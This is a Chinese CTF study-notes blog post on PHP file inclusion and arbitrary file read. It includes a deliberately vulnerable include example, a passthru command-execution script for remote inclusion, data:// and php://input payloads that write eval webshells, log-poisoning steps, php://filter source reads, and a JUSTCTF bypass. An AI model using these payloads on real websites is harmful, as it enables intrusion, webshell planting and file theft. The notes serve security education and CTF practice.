任意文件读取专题

文件包含漏洞

一,典型知识点

常见触发点

web语言



客户端

php语言

#1.)文件相关的标准函数
文件读取相关
file_get_contents(),file(),fopen()
文件包含相关
include(),require(),include_once(),require_once()
读文件的执行命令
system(),exec()#2.)相关的php扩展
wrapper-->协议相关
filter-->转换相关

包含漏洞的环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据(本地文件包含)
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件(远程文件包含)

文件包含漏洞常见函数

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
 Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
 
Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。

Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。

Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。

使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行。

典型例子

if ($_GET[page]) {
    include $_GET[page];
} else {
    include "home.php";
}

利用payload

其余语言

①python
模块与web应用交互导致的漏洞
②java
file://协议和xxe fileinputstream导致的文件读取
③ruby
常见与rails框架相关
④node
express模块相关类

中间件/服务器相关

常见

①nginx错误配置
配置错误类型
location/static{
alias /hpme/mappy/static/;
}
错误原因static后面无/导致
因此如果传入/static../即可跨到其他目录
②数据库错误配置
典型可执行load_file()思路导致
如
select load_file("etc/passwd");

非常见

软链接
FFmpeg
Docker-API
原因:docker-api可控制docker,在结合ssrf即可形成任意文件读取

客户端相关

Flash或者浏览器 XSS

二.三种典型包含

1.)本地包含
典型包含3种类型
利用技巧

本地文件包含漏洞利用技巧

①包含用户上传的文件 (我们上传的一句话木马等等)
②包含data:// 或 php://input 等伪协议
③包含 Session 文件
如
www.xxx.com/index.php?test=/etc/passwd
④包含日志文件      ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )

2.)远程包含(即可包含url类的文件)
适用于–>需要php.ini中allow_url_include = on以及allow_url_fopen=on

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "开始行";       //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
echo "结束行";       //打印的返回的结束行提示信息
?>

利用
http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls

3.)ctf中常见的类型使用
php伪协议读取源码类–>典型4种
协议用法:条件
在这里插入图片描述
data类
data:text/plain 或 data:text/plain;base64、
典型利用poc

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text//plain,<?php phpinfo();
?file=data://text/plain;base64,xxxxxxxxx
?file=data:text/plain,</php phpinfo();
?file=data:text/plain;base64,xxxxxxxxxx
file=data:text/plain,<?php @eval($_POST['pass']);?>#写木马
#利用fopen与fwrite写马方法
a=fetch&content=<?=@$fp=fopen("xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit();
#然后在这个链接上直接连蚁剑即可
data:text/plain
如data:text/plain,<?php phpinfo();?>

file://与zip://,compress.zlib://和bzip2://类
用于–>访问压缩文件中的文件
使用条件

allow_url_fopen:off/on
allow_url_include:off/on
file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响(相同类型的还有zip://,zlib://和bzip2://)
file://必须是绝对路径

POC

#如
zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

构造绝对路径#后面为zip内部的文件
zip://E:/soft/phpmystudy/WWW/file_include/2.zip#2.php

php://input类
典型几个应用
1.)执行任意代码poc
结合形成<?php phpinfo()?>
在这里插入图片描述
2.)写木马
?file=php://input
post数据:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>’);?>
3.)读取目录结构poc

?file=php://input
post数据:
<?php print_r(scandir('/var/www/html'));?>

#单独使用类
s=var_dump(scandir('/var/www/html');
s=print_r(scandir('./'));
#不常见的协议
file:///var/www/html #访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> #访问 FTP(s) URLs
data:// 数据流 http:// — #访问 HTTP(s) URLs
ftp:// #访问 FTP(s) URLs
php://  #访问各个输入/输出流
zlib://  #压缩流 data:// — Data (RFC 2397)
glob://  #查找匹配的文件路径模式
phar:// #PHP Archive
ssh2:// #Secure Shell 2

在这里插入图片描述
几个细化思路执行

②贪婪包含–>即本地文件包含代类
③%00截断
适用于–>php版本小于5.3,并且magic_quotes_gpc = Off,对可控参数未使用addslashes函数
④绕文件路径长度代
包含细节

①利用目录构造读取类

welc0me to JUSTCTF!!
<?php
echo'<center><strong>welc0me to JUSTCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/justctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('臭弟弟!!');
    }
}else{
    echo("就这?");
}

即直接构造目录路径思路状况进行读取

?url=teng://justctf.com../../../../../../flag
#典型相互状况特定-->file_get_contents函数构造类,即如果遇到未知的协议时,会将伪协议当作文件夹的状况
#即可以直接代用构造teng://justctf.com构造协议从而实现绕过,即内容的teng可以随便代
#第二种不是上面的题解
file=../../flag类

②利用协议类进行任意文件读取
常见协议

#即直接代协议的思路进行读取-->常见#include与file同时存在类中
file=php://filter/convert.base64-encode/resource=flag.php
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

php协议专题
③利用构造函数使用类读取文件方法有的 时候ctf考脑洞题,就考这类题

1.)scandir()函数与print_r()联合使用
如a=print_r(scandir('/var/www/html'));
或者利用readfile和fopen联合类
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
2.)读取源码类函数
show_source("flag.php");
#即直接读取flag.php这个函数
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值